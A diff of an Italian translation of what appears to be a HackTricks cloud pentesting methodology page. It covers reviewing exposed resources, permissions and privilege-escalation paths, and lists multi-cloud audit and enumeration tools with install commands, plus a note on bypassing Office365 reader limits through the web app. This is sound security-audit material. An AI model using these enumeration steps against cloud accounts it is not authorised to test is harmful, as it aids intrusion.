+- Questo ti permetterà di sapere **cosa viene esattamente utilizzato** nell'ambiente cloud
+- Questo aiuterà molto nei passi successivi
+- **Controlla le risorse esposte**
+- Questo può essere fatto durante la sezione precedente: devi **scoprire tutto ciò che è potenzialmente esposto** a Internet in qualche modo e come può essere accessibile.
+- Qui intendo l'infrastruttura **esposta manualmente** come istanze con pagine web o altre porte esposte, e anche altri **servizi gestiti cloud che possono essere configurati** per essere esposti (ad esempio DB o bucket)
+- Poi dovresti verificare **se quella risorsa è effettivamente esposta o meno** (informazioni riservate? vulnerabilità? misconfigurazioni nel servizio esposto?)
+- **Verifica le autorizzazioni**
+- Qui dovresti **scoprire tutte le autorizzazioni di ciascun ruolo/utente** all'interno del cloud e come vengono utilizzate
 - Troppi account **con privilegi elevati** (controllano tutto)? Chiavi generate non usate?... La maggior parte di questi controlli dovrebbe essere già stata fatta nei test di benchmark
-- Se il cliente usa OpenID o SAML o altra **federation** potresti aver bisogno di chiedere ulteriori **informazioni** su **come viene assegnato ogni ruolo** (non è lo stesso che il ruolo admin sia assegnato a 1 utente o a 100)
-- Non è **sufficiente trovare** quali utenti hanno permessi **admin** "\*:\*". Ci sono molti **altri permessi** che a seconda dei servizi usati possono essere molto **sensibili**.
-- Inoltre, ci sono **potenziali privesc** da seguire abusando dei permessi. Tutte queste cose devono essere prese in considerazione e **quanti più percorsi di privesc possibile** dovrebbero essere riportati.
-- **Check Integrations**
-- È altamente probabile che **integrazioni con altri cloud o SaaS** siano usate all'interno dell'ambiente cloud.
-- Per **integrazioni del cloud che stai auditando** con altre piattaforme dovresti notificare **chi ha accesso a (ab)usare quell'integrazione** e dovresti chiedere **quanto è sensibile** l'azione eseguita.\
-Per esempio, chi può scrivere in un bucket AWS da cui GCP sta ottenendo dati (chiedi quanto è sensibile l'azione in GCP trattando quei dati).
-- Per **integrazioni dentro il cloud che stai auditando** provenienti da piattaforme esterne, dovresti chiedere **chi ha accesso esternamente a (ab)usare quell'integrazione** e verificare come vengono usati quei dati.\
-Per esempio, se un servizio usa un'immagine Docker ospitata in GCR, dovresti chiedere chi ha accesso a modificarla e quali informazioni sensibili e accessi quella immagine otterrà quando eseguita dentro una cloud AWS.
+- Se il cliente usa OpenID, SAML o un'altra **federazione**, potrebbe essere necessario chiedere ulteriori **informazioni** su **come viene assegnato ciascun ruolo** (non è lo stesso che il ruolo admin sia assegnato a 1 utente o a 100)
+- Non basta **identificare** quali utenti hanno permessi **admin** "\*:\*". Ci sono molte **altre autorizzazioni** che, a seconda dei servizi usati, possono essere molto **sensibili**.
+- Inoltre, esistono possibili vie di **privesc** sfruttando le autorizzazioni. Tutte queste cose devono essere prese in considerazione e devono essere riportati **quanti più percorsi di privesc possibile**.
+- **Verifica le integrazioni**
+- È molto probabile che all'interno dell'ambiente cloud siano usate **integrazioni con altri cloud o SaaS**.
+- Per le **integrazioni del cloud che stai auditando** con altre piattaforme dovresti notificare **chi ha accesso per (ab)usare quell'integrazione** e dovresti chiedere **quanto è sensibile** l'azione eseguita.\
+Per esempio, chi può scrivere in un bucket AWS da cui GCP sta prendendo dati (chiedi quanto è sensibile l'azione in GCP nel trattare quei dati).
+- Per le **integrazioni all'interno del cloud che stai auditando** provenienti da piattaforme esterne, dovresti chiedere **chi ha accesso esterno per (ab)usare quell'integrazione** e verificare come vengono utilizzati quei dati.\
+Per esempio, se un servizio utilizza un'immagine Docker ospitata in GCR, dovresti chiedere chi ha accesso per modificarla e quali informazioni sensibili e accessi otterrà quell'immagine quando eseguita all'interno di un cloud AWS.
 
-## Multi-Cloud tools
+## Strumenti multi-cloud
 
-Ci sono diversi tool che possono essere usati per testare differenti ambienti cloud. I passi di installazione e i link verranno indicati in questa sezione.
+Esistono diversi strumenti che possono essere usati per testare diversi ambienti cloud. I passaggi di installazione e i link saranno indicati in questa sezione.
 
 ### [PurplePanda](https://github.com/carlospolop/purplepanda)
 
-Uno strumento per **identificare cattive configurazioni e privesc path nei cloud e tra cloud/SaaS.**
+Uno strumento per **identificare configurazioni errate e percorsi di privesc nei cloud e tra cloud/SaaS.**
 
 {{#tabs }}
 {{#tab name="Install" }}
@@ -71,7 +71,7 @@ python3 main.py -e -p google #Enumerate the env
 
 ### [Prowler](https://github.com/prowler-cloud/prowler)
 
-Supporta **AWS, GCP & Azure**. Controlla come configurare ogni provider in [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
+Supporta **AWS, GCP & Azure**. Consulta come configurare ogni provider in [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
 ```bash
 # Install
 pip install prowler
@@ -168,9 +168,9 @@ steampipe check all
 ```
 

 
-Verifica tutti i progetti
+Controlla tutti i progetti
 
-Per verificare tutti i progetti è necessario generare il file `gcp.spc` che indica tutti i progetti da testare. Puoi semplicemente seguire le indicazioni dello script seguente
+Per controllare tutti i progetti è necessario generare il file `gcp.spc` indicando tutti i progetti da testare. Puoi semplicemente seguire le istruzioni del seguente script
 ```bash
 FILEPATH="/tmp/gcp.spc"
 rm -rf "$FILEPATH" 2>/dev/null
@@ -194,7 +194,7 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate
 ```
 

 
-Per verificare **altri insight GCP** (utile per enumerare i servizi) usa: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
+Per controllare **altri insight GCP** (utile per enumerare servizi) usa: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
 
 Per controllare il codice Terraform GCP: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
 
@@ -225,7 +225,7 @@ cd steampipe-mod-aws-compliance
 steampipe dashboard # To see results in browser
 steampipe check all --export=/tmp/output4.json
 ```
-Per verificare il codice Terraform AWS: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
+Per controllare il codice Terraform AWS: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
 
 Altri plugin AWS per Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
 {{#endtab }}
@@ -234,15 +234,15 @@ Altri plugin AWS per Steampipe: [https://github.com/orgs/turbot/repositories?q=a
 ### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite)
 
 AWS, GCP, Azure, DigitalOcean.\
-Richiede python2.7 e sembra non essere più mantenuto.
+Richiede python2.7 e sembra non essere mantenuto.
 
 ### Nessus
 
-Nessus dispone di una scansione _**Audit Cloud Infrastructure**_ che supporta: AWS, Azure, Office 365, Rackspace, Salesforce. Sono necessarie alcune configurazioni aggiuntive in **Azure** per ottenere un **Client Id**.
+Nessus ha una scansione _**Audit Cloud Infrastructure**_ che supporta: AWS, Azure, Office 365, Rackspace, Salesforce. Sono necessarie alcune configurazioni aggiuntive in **Azure** per ottenere un **Client Id**.
 
 ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)
 
-Cloudlist è uno **strumento multi-cloud per ottenere Assets** (Hostnames, IP Addresses) dai Cloud Providers.
+Cloudlist è uno **strumento multi-cloud per ottenere Assets** (Hostnames, IP Addresses) dai fornitori cloud.
 
 {{#tabs }}
 {{#tab name="Cloudlist" }}
@@ -265,7 +265,7 @@ cloudlist -config 
 
 ### [**cartography**](https://github.com/lyft/cartography)
 
-Cartography è uno strumento Python che consolida le risorse dell'infrastruttura e le relazioni tra di esse in una visualizzazione grafica intuitiva alimentata da un database Neo4j.
+Cartography è uno strumento Python che consolida gli asset dell'infrastruttura e le relazioni tra di essi in una visualizzazione a grafo intuitiva alimentata da un database Neo4j.
 
 {{#tabs }}
 {{#tab name="Install" }}
@@ -302,7 +302,7 @@ ghcr.io/lyft/cartography  \
 
 ### [**starbase**](https://github.com/JupiterOne/starbase)
 
-Starbase raccoglie asset e relazioni da servizi e sistemi, tra cui infrastrutture cloud, applicazioni SaaS, controlli di sicurezza e altro, in una visualizzazione a grafo intuitiva supportata dal database Neo4j.
+Starbase raccoglie asset e relazioni da servizi e sistemi, incluse infrastrutture cloud, applicazioni SaaS, controlli di sicurezza e altro, in una visualizzazione a grafo intuitiva supportata dal database Neo4j.
 
 {{#tabs }}
 {{#tab name="Install" }}
@@ -361,7 +361,7 @@ uri: bolt://localhost:7687
 
 ### [**SkyArk**](https://github.com/cyberark/SkyArk)
 
-Scopri gli utenti più privilegiati nell'ambiente AWS o Azure scansionato, inclusi gli AWS Shadow Admins. Usa powershell.
+Individua gli utenti più privilegiati nell'ambiente AWS o Azure scansionato, inclusi gli AWS Shadow Admins. Usa powershell.
 ```bash
 Import-Module .\SkyArk.ps1 -force
 Start-AzureStealth
@@ -372,12 +372,12 @@ Scan-AzureAdmins
 ```
 ### [Cloud Brute](https://github.com/0xsha/CloudBrute)
 
-Uno strumento per trovare l'infrastruttura di una company (target), file e app sui principali provider cloud (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
+Uno strumento per trovare l'infrastruttura di un'azienda (target), file e app sui principali provider cloud (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
 
 ### [CloudFox](https://github.com/BishopFox/cloudfox)
 
-- CloudFox è uno strumento per trovare exploitable attack paths nell'infrastructure cloud (attualmente supportati solo AWS & Azure con GCP in arrivo).
-- È uno strumento di enumerazione pensato per complementare il pentesting manuale.
+- CloudFox è uno strumento per trovare exploitable attack paths nella cloud infrastructure (attualmente supportati solo AWS & Azure con GCP in arrivo).
+- È un enumeration tool pensato per integrare il pentesting manuale.
 - Non crea né modifica alcun dato all'interno dell'ambiente cloud.
 
 ### More lists of cloud security tools
@@ -410,13 +410,13 @@ aws-security/
 azure-security/
 {{#endref}}
 
-### Grafo di attacco
+### Attack Graph
 
-[**Stormspotter** ](https://github.com/Azure/Stormspotter) crea un “attack graph” delle risorse in una Azure subscription. Permette a red teams e pentesters di visualizzare l'attack surface e le opportunità di pivot all'interno di un tenant, e potenzia i tuoi defender per orientare e prioritizzare rapidamente l'incident response.
+[**Stormspotter** ](https://github.com/Azure/Stormspotter) crea un “attack graph” delle risorse in una subscription Azure. Permette a red teams e pentesters di visualizzare la attack surface e le opportunità di pivot all'interno di un tenant, e potenzia i tuoi defender per orientarsi rapidamente e prioritizzare il lavoro di incident response.
 
 ### Office365
 
-Hai bisogno di **Global Admin** o almeno di **Global Admin Reader** (nota che Global Admin Reader è un po' limitato). Tuttavia, queste limitazioni compaiono in alcuni PS modules e possono essere bypassate accedendo alle funzionalità tramite l'applicazione web.
+Hai bisogno di **Global Admin** o almeno **Global Admin Reader** (nota però che Global Admin Reader è un po' limitato). Tuttavia, tali limitazioni si presentano in alcuni moduli PS e possono essere bypassate accedendo alle funzionalità **tramite l'applicazione web**.
 
 
 {{#include ../banners/hacktricks-training.md}}